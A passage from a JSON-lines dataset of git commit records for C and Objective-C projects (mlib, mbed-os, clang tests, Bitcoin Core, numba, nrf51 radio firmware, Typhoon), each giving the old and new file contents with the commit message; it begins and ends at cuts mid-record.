\/\/ Print the arrays.\n        printf(\"The words are: \");\n        vector_str_out_str(stdout, words);\n        printf(\"\\n\");\n\n        \/\/ Count the words.\n        M_LET(map, dict_str_t) {\n            \/\/ Count the words:\n            for M_EACH(w, words, vector_str_t) {\n                (*dict_str_get_at(map, *w)) ++;\n            }\n\n            \/\/ Print the count:\n            for M_EACH(p, map, dict_str_t) {\n                printf (\"%zu occurences of %s\\n\", p->value, string_get_cstr(p->key));\n            }\n        }\n    }\n}\n","subject":"Add a new example of the new M_LET feature.","message":"Add a new example of the new M_LET feature.\n","lang":"C","license":"bsd-2-clause","repos":"P-p-H-d\/mlib,P-p-H-d\/mlib"}
{"commit":"16a59cb9926bc96792cc9d1b7a996689f7bf1b86","old_file":"components\/TARGET_PSA\/TESTS\/compliance_its\/test_s003\/main.c","new_file":"components\/TARGET_PSA\/TESTS\/compliance_its\/test_s003\/main.c","old_contents":"#include \"val_interfaces.h\"\n#include \"pal_mbed_os_crypto.h\"\n#include \"lifecycle.h\"\n\n#ifdef ITS_TEST\nvoid test_entry_s003(val_api_t *val_api, psa_api_t *psa_api);\n#elif PS_TEST\n#error [NOT_SUPPORTED] Test is too long for CI, thus always fails on timeout.\nvoid test_entry_p003(val_api_t *val_api, psa_api_t *psa_api);\n#endif\n\nint main(void)\n{\n#ifdef ITS_TEST\n    test_start(test_entry_s003);\n#elif PS_TEST\n    test_start(test_entry_p003);\n#endif\n\n}\n","new_contents":"#include \"val_interfaces.h\"\n#include \"pal_mbed_os_crypto.h\"\n#include \"lifecycle.h\"\n\n#ifdef ITS_TEST\nvoid test_entry_s003(val_api_t *val_api, psa_api_t *psa_api);\n#elif PS_TEST\n#ifndef PS_ALLOW_ENTIRE_STORAGE_FILL\n#error [NOT_SUPPORTED] Test is too long for CI, thus always fails on timeout.\n#endif\nvoid test_entry_p003(val_api_t *val_api, psa_api_t *psa_api);\n#endif\n\nint main(void)\n{\n#ifdef ITS_TEST\n    test_start(test_entry_s003);\n#elif PS_TEST\n    test_start(test_entry_p003);\n#endif\n\n}\n","subject":"Allow PS test03 with PS_ALLOW_ENTIRE_STORAGE_FILL flag","message":"Allow PS test03 with PS_ALLOW_ENTIRE_STORAGE_FILL flag\n","lang":"C","license":"apache-2.0","repos":"andcor02\/mbed-os,mbedmicro\/mbed,kjbracey-arm\/mbed,kjbracey-arm\/mbed,andcor02\/mbed-os,mbedmicro\/mbed,mbedmicro\/mbed,mbedmicro\/mbed,kjbracey-arm\/mbed,mbedmicro\/mbed,andcor02\/mbed-os,andcor02\/mbed-os,andcor02\/mbed-os,andcor02\/mbed-os,kjbracey-arm\/mbed"}
{"commit":"6af6de1f5cb48d109c1d58fa4bdd509de09e9c7f","old_file":"Globals.h","new_file":"Globals.h","old_contents":"\/*\n  Mace - http:\/\/www.macehq.cx\n  Copyright 1999-2004\n  See the file README for more information\n*\/\n\n#ifndef GLOBALS_H\n#define GLOBALS_H\n\n#ifndef _MaceTypes\n#define _MaceTypes\ntypedef unsigned char U8;\ntypedef signed char S8;\ntypedef unsigned short U16;\ntypedef signed short S16;\n\n\/\/Note: on 64-bit machines, replace \"long\" with \"int\"\n#if __LP64__\ntypedef unsigned int U32;\ntypedef signed int S32;\n#else\ntypedef unsigned long U32;\ntypedef signed long S32;\n#endif\n#endif\n\nvoid App_Exit(void);\n \/\/Same as App_Exit2(), except that this calls setdis()\nvoid App_Exit2(void);\nU16 FlipW(U16 a);\nU32 FlipL(U32 a);\nvoid HexW (U16 n, char * String);\nvoid HexL (U32 n, char * String);\n\n#endif \/\/GLOBALS_H\n","new_contents":"\/*\n  Mace - http:\/\/www.macehq.cx\n  Copyright 1999-2004\n  See the file README for more information\n*\/\n\n#ifndef GLOBALS_H\n#define GLOBALS_H\n\n#ifndef _MaceTypes\n#define _MaceTypes\n\n#include <stdint.h>\n\ntypedef uint8_t U8;\ntypedef int8_t S8;\ntypedef uint16_t U16;\ntypedef int16_t S16;\n\ntypedef uint32_t U32;\ntypedef int32_t S32;\n#endif\n\nvoid App_Exit(void);\n \/\/Same as App_Exit2(), except that this calls setdis()\nvoid App_Exit2(void);\nU16 FlipW(U16 a);\nU32 FlipL(U32 a);\nvoid HexW (U16 n, char * String);\nvoid HexL (U32 n, char * String);\n\n#endif \/\/GLOBALS_H\n","subject":"Use C99 stdint.h header for types","message":"Use C99 stdint.h header for types\n","lang":"C","license":"lgpl-2.1","repos":"MaddTheSane\/Mace,MaddTheSane\/Mace"}
{"commit":"47b3fd8dd3b1baa364ee93c221ae41d7a61810cb","old_file":"src\/lib\/ecore_x\/xcb\/ecore_xcb_missing.c","new_file":"src\/lib\/ecore_x\/xcb\/ecore_xcb_missing.c","old_contents":"#include \"ecore_xcb_private.h\"\n\nEAPI Eina_Bool\necore_x_input_multi_select(Ecore_X_Window win)\n{\n    return 0;\n}\n\nEAPI void \necore_x_e_comp_sync_counter_set(Ecore_X_Window win, Ecore_X_Sync_Counter counter)\n{\n}\n\nEAPI void\necore_x_e_comp_sync_draw_done_send(Ecore_X_Window root, Ecore_X_Window win)\n{\n}\n\nEAPI Eina_Bool\necore_x_e_comp_sync_supported_get(Ecore_X_Window root)\n{\n    return 0;\n}\n","new_contents":"#include \"ecore_xcb_private.h\"\n\nEAPI void\necore_x_icccm_protocol_atoms_set(Ecore_X_Window win, Ecore_X_Atom *protos, int num)\n{\n}\n\nEAPI Eina_Bool\necore_x_input_multi_select(Ecore_X_Window win)\n{\n    return 0;\n}\n\nEAPI void \necore_x_e_comp_sync_counter_set(Ecore_X_Window win, Ecore_X_Sync_Counter counter)\n{\n}\n\nEAPI void\necore_x_e_comp_sync_draw_done_send(Ecore_X_Window root, Ecore_X_Window win)\n{\n}\n\nEAPI Eina_Bool\necore_x_e_comp_sync_supported_get(Ecore_X_Window root)\n{\n    return 0;\n}\n","subject":"Add one more missing function stub","message":"Add one more missing function stub\n","lang":"C","license":"mit","repos":"OpenInkpot-archive\/ecore,OpenInkpot-archive\/ecore,OpenInkpot-archive\/ecore"}
{"commit":"5099b80088141137d81c62d3e03208835faced06","old_file":"test\/Driver\/clang_f_opts.c","new_file":"test\/Driver\/clang_f_opts.c","old_contents":"\/\/ RUN: clang -### -S -x c \/dev\/null -fblocks -fbuiltin -fmath-errno -fcommon -fpascal-strings -fno-blocks -fno-builtin -fno-math-errno -fno-common -fno-pascal-strings -fblocks -fbuiltin -fmath-errno -fcommon -fpascal-strings %s 2> %t\n\/\/ RUN: grep -F '\"-fblocks\"' %t\n\/\/ RUN: grep -F '\"-fpascal-strings\"' %t\n\/\/ RUN: clang -### -S -x c \/dev\/null -fblocks -fbuiltin -fmath-errno -fcommon -fpascal-strings -fno-blocks -fno-builtin -fno-math-errno -fno-common -fno-pascal-strings -fno-show-source-location -fshort-wchar %s 2> %t\n\/\/ RUN: grep -F '\"-fno-builtin\"' %t\n\/\/ RUN: grep -F '\"-fno-common\"' %t\n\/\/ RUN: grep -F '\"-fno-math-errno\"' %t\n\/\/ RUN: grep -F '\"-fno-show-source-location\"' %t\n\/\/ RUN: grep -F '\"-fshort-wchar\"' %t\n\/\/ RUN: clang -fshort-enums -x c \/dev\/null 2>&1 | FileCheck -check-prefix=CHECK-SHORT-ENUMS %s\n\n\/\/ CHECK-SHORT-ENUMS: compiler does not support '-fshort-enums'\n","new_contents":"\/\/ RUN: clang -### -S -x c \/dev\/null -fblocks -fbuiltin -fmath-errno -fcommon -fpascal-strings -fno-blocks -fno-builtin -fno-math-errno -fno-common -fno-pascal-strings -fblocks -fbuiltin -fmath-errno -fcommon -fpascal-strings %s 2>&1 | FileCheck -check-prefix=CHECK-OPTIONS1 %s\n\/\/ RUN: clang -### -S -x c \/dev\/null -fblocks -fbuiltin -fmath-errno -fcommon -fpascal-strings -fno-blocks -fno-builtin -fno-math-errno -fno-common -fno-pascal-strings -fno-show-source-location -fshort-wchar %s 2>&1 | FileCheck -check-prefix=CHECK-OPTIONS2 %s\n\/\/ RUN: clang -fshort-enums -x c \/dev\/null 2>&1 | FileCheck -check-prefix=CHECK-SHORT-ENUMS %s\n\n\/\/ CHECK-OPTIONS1: -fblocks\n\/\/ CHECK-OPTIONS1: -fpascal-strings\n\n\/\/ CHECK-OPTIONS2: -fno-builtin\n\/\/ CHECK-OPTIONS2: -fno-common\n\/\/ CHECK-OPTIONS2: -fno-math-errno\n\/\/ CHECK-OPTIONS2: -fno-show-source-location\n\/\/ CHECL-OPTIONS2: -fshort-wchar\n\n\/\/ CHECK-SHORT-ENUMS: compiler does not support '-fshort-enums'\n","subject":"Convert the remainder of this test case over to using FileCheck.","message":"Convert the remainder of this test case over to using FileCheck.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@91194 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"a6d0140a2c9bbaa73706472e0e748279cd0a2b7b","old_file":"app\/tx\/main.c","new_file":"app\/tx\/main.c","old_contents":"#include <stdio.h>\n#include <stdint.h>\n#include <string.h>\n\n#include \"nrf51.h\"\n#include \"nrf_delay.h\"\n\n#include \"error.h\"\n#include \"gpio.h\"\n#include \"leds.h\"\n#include \"radio.h\"\n\nvoid error_handler(uint32_t err_code, uint32_t line_num, char * file_name)\n{\n    while (1)\n    {\n        for (uint8_t i = LED_START; i < LED_STOP; i++)\n        {\n            led_toggle(i);\n            nrf_delay_us(50000);\n        }\n    }\n}\nvoid radio_evt_handler(radio_evt_t * evt)\n{\n\n}\n\nint main(void)\n{\n    uint8_t i = 0; \n    uint32_t err_code;\n\n    leds_init();\n\n    radio_packet_t packet;\n    packet.len = 4;\n    packet.flags.ack = 0;\n\n    radio_init(radio_evt_handler);\n\n    while (1)\n    {\n        packet.data[0] = i++;\n        packet.data[1] = 0x12;\n        err_code = radio_send(&packet);\n        ASSUME_SUCCESS(err_code);\n\n        led_toggle(LED0);\n        nrf_delay_us(1000000);\n    }\n}\n","new_contents":"#include <stdio.h>\n#include <stdint.h>\n#include <string.h>\n\n#include \"nrf51.h\"\n#include \"nrf_delay.h\"\n\n#include \"error.h\"\n#include \"gpio.h\"\n#include \"leds.h\"\n#include \"radio.h\"\n\nvoid error_handler(uint32_t err_code, uint32_t line_num, char * file_name)\n{\n    while (1)\n    {\n        for (uint8_t i = LED_START; i < LED_STOP; i++)\n        {\n            led_toggle(i);\n            nrf_delay_us(50000);\n        }\n    }\n}\nvoid radio_evt_handler(radio_evt_t * evt)\n{\n\n}\n\nint main(void)\n{\n    uint8_t i = 0; \n    uint32_t err_code;\n\n    leds_init();\n\n    radio_packet_t packet;\n    packet.len = 4;\n    packet.flags.ack = 0;\n\n    radio_init(radio_evt_handler);\n\n    while (1)\n    {\n        packet.data[0] = i++;\n        packet.data[1] = 0x12;\n        err_code = radio_send(&packet);\n        ASSUME_SUCCESS(err_code);\n\n        packet.data[0] = i++;\n        packet.data[1] = 0x12;\n        err_code = radio_send(&packet);\n        ASSUME_SUCCESS(err_code);\n\n        led_toggle(LED0);\n        nrf_delay_us(1000000);\n    }\n}\n","subject":"Send two packet at once.","message":"Send two packet at once.\n","lang":"C","license":"bsd-3-clause","repos":"hlnd\/nrf51-simple-radio,hlnd\/nrf51-simple-radio"}
{"commit":"1946af2c45372e3de39000a45a5954bb5870bc1b","old_file":"src\/consensus\/amount.h","new_file":"src\/consensus\/amount.h","old_contents":"\/\/ Copyright (c) 2009-2010 Satoshi Nakamoto\n\/\/ Copyright (c) 2009-2018 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef BITCOIN_CONSENSUS_AMOUNT_H\n#define BITCOIN_CONSENSUS_AMOUNT_H\n\n#include <cstdint>\n\n\/** Amount in satoshis (Can be negative) *\/\ntypedef int64_t CAmount;\n\nstatic constexpr CAmount COIN = 100000000;\n\n\/** No amount larger than this (in satoshi) is valid.\n *\n * Note that this constant is *not* the total money supply, which in Bitcoin\n * currently happens to be less than 21,000,000 BTC for various reasons, but\n * rather a sanity check. As this sanity check is used by consensus-critical\n * validation code, the exact value of the MAX_MONEY constant is consensus\n * critical; in unusual circumstances like a(nother) overflow bug that allowed\n * for the creation of coins out of thin air modification could lead to a fork.\n * *\/\nstatic constexpr CAmount MAX_MONEY = 21000000 * COIN;\ninline bool MoneyRange(const CAmount& nValue) { return (nValue >= 0 && nValue <= MAX_MONEY); }\n\n#endif \/\/  BITCOIN_CONSENSUS_AMOUNT_H\n","new_contents":"\/\/ Copyright (c) 2009-2010 Satoshi Nakamoto\n\/\/ Copyright (c) 2009-2018 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef BITCOIN_CONSENSUS_AMOUNT_H\n#define BITCOIN_CONSENSUS_AMOUNT_H\n\n#include <cstdint>\n\n\/** Amount in satoshis (Can be negative) *\/\ntypedef int64_t CAmount;\n\n\/** The amount of satoshis in one BTC. *\/\nstatic constexpr CAmount COIN = 100000000;\n\n\/** No amount larger than this (in satoshi) is valid.\n *\n * Note that this constant is *not* the total money supply, which in Bitcoin\n * currently happens to be less than 21,000,000 BTC for various reasons, but\n * rather a sanity check. As this sanity check is used by consensus-critical\n * validation code, the exact value of the MAX_MONEY constant is consensus\n * critical; in unusual circumstances like a(nother) overflow bug that allowed\n * for the creation of coins out of thin air modification could lead to a fork.\n * *\/\nstatic constexpr CAmount MAX_MONEY = 21000000 * COIN;\ninline bool MoneyRange(const CAmount& nValue) { return (nValue >= 0 && nValue <= MAX_MONEY); }\n\n#endif \/\/  BITCOIN_CONSENSUS_AMOUNT_H\n","subject":"Add comment to COIN constant.","message":"Add comment to COIN constant.\n\nThe COIN constant is critical in understanding Bitcoin's supply, but what it represents isn't clear from the name of the constant. Adding a comment clarifies the meaning of the constant for future readers.","lang":"C","license":"mit","repos":"jlopp\/statoshi,namecoin\/namecoin-core,achow101\/bitcoin,namecoin\/namecoin-core,pataquets\/namecoin-core,instagibbs\/bitcoin,domob1812\/bitcoin,tecnovert\/particl-core,AkioNak\/bitcoin,sstone\/bitcoin,tecnovert\/particl-core,dscotese\/bitcoin,anditto\/bitcoin,domob1812\/namecore,pataquets\/namecoin-core,namecoin\/namecore,fujicoin\/fujicoin,fanquake\/bitcoin,bitcoinsSG\/bitcoin,dscotese\/bitcoin,jambolo\/bitcoin,particl\/particl-core,sipsorcery\/bitcoin,MarcoFalke\/bitcoin,domob1812\/bitcoin,bitcoin\/bitcoin,mruddy\/bitcoin,jambolo\/bitcoin,bitcoin\/bitcoin,particl\/particl-core,bitcoinsSG\/bitcoin,sstone\/bitcoin,namecoin\/namecoin-core,fanquake\/bitcoin,GroestlCoin\/GroestlCoin,jamesob\/bitcoin,ajtowns\/bitcoin,namecoin\/namecore,prusnak\/bitcoin,domob1812\/bitcoin,mruddy\/bitcoin,achow101\/bitcoin,instagibbs\/bitcoin,jlopp\/statoshi,mruddy\/bitcoin,instagibbs\/bitcoin,Xekyo\/bitcoin,achow101\/bitcoin,pataquets\/namecoin-core,jambolo\/bitcoin,domob1812\/namecore,jlopp\/statoshi,pataquets\/namecoin-core,andreaskern\/bitcoin,sstone\/bitcoin,andreaskern\/bitcoin,fujicoin\/fujicoin,AkioNak\/bitcoin,tecnovert\/particl-core,bitcoinsSG\/bitcoin,sipsorcery\/bitcoin,Xekyo\/bitcoin,mm-s\/bitcoin,bitcoin\/bitcoin,bitcoin\/bitcoin,mruddy\/bitcoin,kallewoof\/bitcoin,kallewoof\/bitcoin,sipsorcery\/bitcoin,jamesob\/bitcoin,bitcoinknots\/bitcoin,Xekyo\/bitcoin,jlopp\/statoshi,kallewoof\/bitcoin,tecnovert\/particl-core,anditto\/bitcoin,lateminer\/bitcoin,prusnak\/bitcoin,lateminer\/bitcoin,anditto\/bitcoin,prusnak\/bitcoin,jamesob\/bitcoin,mm-s\/bitcoin,anditto\/bitcoin,GroestlCoin\/GroestlCoin,dscotese\/bitcoin,achow101\/bitcoin,fujicoin\/fujicoin,bitcoinsSG\/bitcoin,GroestlCoin\/GroestlCoin,jambolo\/bitcoin,GroestlCoin\/bitcoin,instagibbs\/bitcoin,MarcoFalke\/bitcoin,particl\/particl-core,Xekyo\/bitcoin,fujicoin\/fujicoin,sipsorcery\/bitcoin,tecnovert\/particl-core,jambolo\/bitcoin,domob1812\/bitcoin,MarcoFalke\/bitcoin,prusnak\/bitcoin,namecoin\/namecore,prusnak\/bitcoin,MarcoFalke\/bitcoin,mm-s\/bitcoin,AkioNak\/bitcoin,mruddy\/bitcoin,fujicoin\/fujicoin,bitcoin\/bitcoin,pataquets\/namecoin-core,ajtowns\/bitcoin,fanquake\/bitcoin,MarcoFalke\/bitcoin,GroestlCoin\/bitcoin,tecnovert\/particl-core,MarcoFalke\/bitcoin,domob1812\/namecore,kallewoof\/bitcoin,anditto\/bitcoin,bitcoinknots\/bitcoin,dscotese\/bitcoin,bitcoinknots\/bitcoin,GroestlCoin\/bitcoin,sipsorcery\/bitcoin,bitcoinknots\/bitcoin,bitcoinknots\/bitcoin,fujicoin\/fujicoin,lateminer\/bitcoin,andreaskern\/bitcoin,domob1812\/namecore,kallewoof\/bitcoin,achow101\/bitcoin,jamesob\/bitcoin,namecoin\/namecore,pataquets\/namecoin-core,sstone\/bitcoin,jamesob\/bitcoin,Xekyo\/bitcoin,jamesob\/bitcoin,lateminer\/bitcoin,AkioNak\/bitcoin,domob1812\/bitcoin,fanquake\/bitcoin,mm-s\/bitcoin,bitcoinsSG\/bitcoin,AkioNak\/bitcoin,kallewoof\/bitcoin,GroestlCoin\/GroestlCoin,mm-s\/bitcoin,mm-s\/bitcoin,prusnak\/bitcoin,lateminer\/bitcoin,ajtowns\/bitcoin,jlopp\/statoshi,sipsorcery\/bitcoin,ajtowns\/bitcoin,GroestlCoin\/bitcoin,namecoin\/namecoin-core,ajtowns\/bitcoin,particl\/particl-core,GroestlCoin\/bitcoin,sstone\/bitcoin,andreaskern\/bitcoin,fanquake\/bitcoin,GroestlCoin\/GroestlCoin,domob1812\/namecore,namecoin\/namecoin-core,jambolo\/bitcoin,AkioNak\/bitcoin,instagibbs\/bitcoin,dscotese\/bitcoin,lateminer\/bitcoin,particl\/particl-core,GroestlCoin\/GroestlCoin,domob1812\/bitcoin,mruddy\/bitcoin,andreaskern\/bitcoin,achow101\/bitcoin,bitcoinsSG\/bitcoin,sstone\/bitcoin,andreaskern\/bitcoin,instagibbs\/bitcoin,ajtowns\/bitcoin,domob1812\/namecore,Xekyo\/bitcoin,bitcoin\/bitcoin,particl\/particl-core,jlopp\/statoshi,namecoin\/namecore,GroestlCoin\/bitcoin,fanquake\/bitcoin,anditto\/bitcoin,dscotese\/bitcoin,namecoin\/namecore,namecoin\/namecoin-core"}
{"commit":"eb2dc60d19a206f5d51d3871ba81effa166c5219","old_file":"src\/driver_control\/dc_common.c","new_file":"src\/driver_control\/dc_common.c","old_contents":"#define DC_BASE_MODE_OFF       0\n#define DC_BASE_MODE_NO_GYRO   1\n#define DC_BASE_MODE_GYRO      2\n#define DC_BASE_MODE_OVER      3\n\nconst string dc_base_mode_names[] = {\"    OFF\", \"NO GYRO\", \"   GYRO\"};\nint dc_base_mode = DC_BASE_MODE_GYRO;\nvoid dc_base_mode_next(void);\n\n#define DC_SHOOTER_MODE_NONE   0\n#define DC_SHOOTER_MODE_DIRECT 1\n#define DC_SHOOTER_MODE_SLIP   2\n#define DC_SHOOTER_MODE_KICKER 3\n#define DC_SHOOTER_MODE_OVER   4\n\nconst string dc_shooter_mode_names[] = {\"NONE  \", \"DIRECT\", \"SLIP  \", \"KICKER\"};\nint dc_shooter_mode = DC_SHOOTER_MODE_NONE;\nvoid dc_shooter_mode_next(void);\n","new_contents":"#define DC_BASE_MODE_OFF       0\n#define DC_BASE_MODE_NO_GYRO   1\n#define DC_BASE_MODE_GYRO      2\n#define DC_BASE_MODE_OVER      3\n\nconst string dc_base_mode_names[] = {\"    OFF\", \"NO GYRO\", \"   GYRO\"};\nint dc_base_mode = DC_BASE_MODE_GYRO;\nvoid dc_base_mode_next(void);\n\n#define DC_SHOOTER_MODE_NONE   0\n#define DC_SHOOTER_MODE_DIRECT 1\n#define DC_SHOOTER_MODE_SLIP   2\n#define DC_SHOOTER_MODE_KICKER 3\n#define DC_SHOOTER_MODE_OVER   4\n\nconst string dc_shooter_mode_names[] = {\"NONE  \", \"DIRECT\", \"SLIP  \", \"KICKER\"};\nint dc_shooter_mode = DC_SHOOTER_MODE_DIRECT; \/\/ mode on startup\nvoid dc_shooter_mode_next(void);\n","subject":"Switch to direct drive on startup","message":"Switch to direct drive on startup\n","lang":"C","license":"mit","repos":"qsctr\/vex-4194b-2016"}
{"commit":"75c6d50abe1dc506a0f21e4e19f742d799cad5c4","old_file":"numba\/_pymodule.h","new_file":"numba\/_pymodule.h","old_contents":"#ifndef NUMBA_PY_MODULE_H_\n#define NUMBA_PY_MODULE_H_\n\n#define PY_SSIZE_T_CLEAN\n\n#include <Python.h>\n#include <structmember.h>\n#include <frameobject.h>\n\n#define MOD_ERROR_VAL NULL\n#define MOD_SUCCESS_VAL(val) val\n#define MOD_INIT(name) PyMODINIT_FUNC PyInit_##name(void)\n#define MOD_DEF(ob, name, doc, methods) { \\\n        static struct PyModuleDef moduledef = { \\\n          PyModuleDef_HEAD_INIT, name, doc, -1, methods, NULL, NULL, NULL, NULL }; \\\n        ob = PyModule_Create(&moduledef); }\n#define MOD_INIT_EXEC(name) PyInit_##name();\n\n#define PyString_AsString PyUnicode_AsUTF8\n#define PyString_Check PyUnicode_Check\n#define PyString_FromFormat PyUnicode_FromFormat\n#define PyString_FromString PyUnicode_FromString\n#define PyString_InternFromString PyUnicode_InternFromString\n#define PyInt_Type PyLong_Type\n#define PyInt_Check PyLong_Check\n#define PyInt_CheckExact PyLong_CheckExact\n\n#define PyMem_RawMalloc malloc\n#define PyMem_RawRealloc realloc\n#define PyMem_RawFree free\n\n#endif \/* NUMBA_PY_MODULE_H_ *\/\n","new_contents":"#ifndef NUMBA_PY_MODULE_H_\n#define NUMBA_PY_MODULE_H_\n\n#define PY_SSIZE_T_CLEAN\n\n#include <Python.h>\n#include <structmember.h>\n#include <frameobject.h>\n\n#define MOD_ERROR_VAL NULL\n#define MOD_SUCCESS_VAL(val) val\n#define MOD_INIT(name) PyMODINIT_FUNC PyInit_##name(void)\n#define MOD_DEF(ob, name, doc, methods) { \\\n        static struct PyModuleDef moduledef = { \\\n          PyModuleDef_HEAD_INIT, name, doc, -1, methods, NULL, NULL, NULL, NULL }; \\\n        ob = PyModule_Create(&moduledef); }\n#define MOD_INIT_EXEC(name) PyInit_##name();\n\n#define PyString_AsString PyUnicode_AsUTF8\n#define PyString_Check PyUnicode_Check\n#define PyString_FromFormat PyUnicode_FromFormat\n#define PyString_FromString PyUnicode_FromString\n#define PyString_InternFromString PyUnicode_InternFromString\n#define PyInt_Type PyLong_Type\n#define PyInt_Check PyLong_Check\n#define PyInt_CheckExact PyLong_CheckExact\n\n#endif \/* NUMBA_PY_MODULE_H_ *\/\n","subject":"Remove accidental definitions of MyMem_*","message":"Remove accidental definitions of MyMem_*\n\nThese were guarded to only be defined on Python < 3.4.\n\nThis should fix test_snapshot on the 32-bit build.\n","lang":"C","license":"bsd-2-clause","repos":"stuartarchibald\/numba,numba\/numba,numba\/numba,cpcloud\/numba,gmarkall\/numba,seibert\/numba,seibert\/numba,cpcloud\/numba,stonebig\/numba,numba\/numba,IntelLabs\/numba,IntelLabs\/numba,stonebig\/numba,stonebig\/numba,seibert\/numba,numba\/numba,gmarkall\/numba,seibert\/numba,gmarkall\/numba,stonebig\/numba,stuartarchibald\/numba,cpcloud\/numba,stuartarchibald\/numba,numba\/numba,IntelLabs\/numba,seibert\/numba,gmarkall\/numba,IntelLabs\/numba,stonebig\/numba,IntelLabs\/numba,cpcloud\/numba,stuartarchibald\/numba,cpcloud\/numba,gmarkall\/numba,stuartarchibald\/numba"}
{"commit":"0262f2fab71dca4874831d2d87ecaa099c1831d1","old_file":"src\/util\/fixed_point.h","new_file":"src\/util\/fixed_point.h","old_contents":"\/**\n * \\file fixed_point.h\n *\n *\n *\n * \\author Ethan Burns\n * \\date 2009-01-16\n *\/\n\n#include \"stdint.h\"\n\n#include <limits>\n\n\/* The type of a fixed point value.  This should never be larger than\n * the size of the type for the 'value' field in the AtomicInt\n * class. *\/\ntypedef unsigned long fp_type;\n\n#define fp_sqrt2 14142\n#define fp_one 10000\n#define fp_infinity (numeric_limits<fp_type>::max())\n","new_contents":"\/**\n * \\file fixed_point.h\n *\n *\n *\n * \\author Ethan Burns\n * \\date 2009-01-16\n *\/\n\n#include \"stdint.h\"\n\n#include <limits>\n\n\/* The type of a fixed point value.  This should never be larger than\n * the size of the type for the 'value' field in the AtomicInt\n * class. *\/\ntypedef unsigned long fp_type;\n\n#define fp_sqrt2 1414\n#define fp_one 1000\n#define fp_infinity (numeric_limits<fp_type>::max())\n","subject":"Use 3 decimal places, the sun uses 32-bit fp_type which chokes with 4.","message":"Use 3 decimal places, the sun uses 32-bit fp_type which chokes with 4.\n","lang":"C","license":"mit","repos":"eaburns\/pbnf,eaburns\/pbnf,eaburns\/pbnf,eaburns\/pbnf"}
{"commit":"af2e0e171ae1e1957f1f7aaf8d5c090c87c2f9dd","old_file":"Tests\/Component\/FactoryProvider\/PizzaFactory.h","new_file":"Tests\/Component\/FactoryProvider\/PizzaFactory.h","old_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/  TYPHOON FRAMEWORK\n\/\/  Copyright 2013, Jasper Blues & Contributors\n\/\/  All Rights Reserved.\n\/\/\n\/\/  NOTICE: The authors permit you to use, modify, and distribute this file\n\/\/  in accordance with the terms of the license agreement accompanying it.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"CreditService.h\"\n#import \"Pizza.h\"\n\n@protocol PizzaFactory <NSObject>\n\n@property (nonatomic, strong, readonly) id<CreditService> creditService;\n\n- (id<Pizza>)pizzaWithRadius:(double)radius ingredients:(NSArray *)ingrendients;\n- (id<Pizza>)smallPizzaWithIngredients:(NSArray *)ingredients;\n- (id<Pizza>)mediumPizzaWithIngredients:(NSArray *)ingredients;\n- (id<Pizza>)largePizzaWithIngredients:(NSArray *)ingredients;\n\n@end\n","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/  TYPHOON FRAMEWORK\n\/\/  Copyright 2013, Jasper Blues & Contributors\n\/\/  All Rights Reserved.\n\/\/\n\/\/  NOTICE: The authors permit you to use, modify, and distribute this file\n\/\/  in accordance with the terms of the license agreement accompanying it.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"CreditService.h\"\n#import \"Pizza.h\"\n\n@protocol PizzaFactory <NSObject>\n\n@property(nonatomic, strong, readonly) id <CreditService> creditService;\n\n- (id <Pizza>)pizzaWithRadius:(double)radius ingredients:(NSArray*)ingredients;\n\n- (id <Pizza>)smallPizzaWithIngredients:(NSArray*)ingredients;\n\n- (id <Pizza>)mediumPizzaWithIngredients:(NSArray*)ingredients;\n\n- (id <Pizza>)largePizzaWithIngredients:(NSArray*)ingredients;\n\n@end\n","subject":"Fix typing mistake. add code formatting.","message":"Fix typing mistake. add code 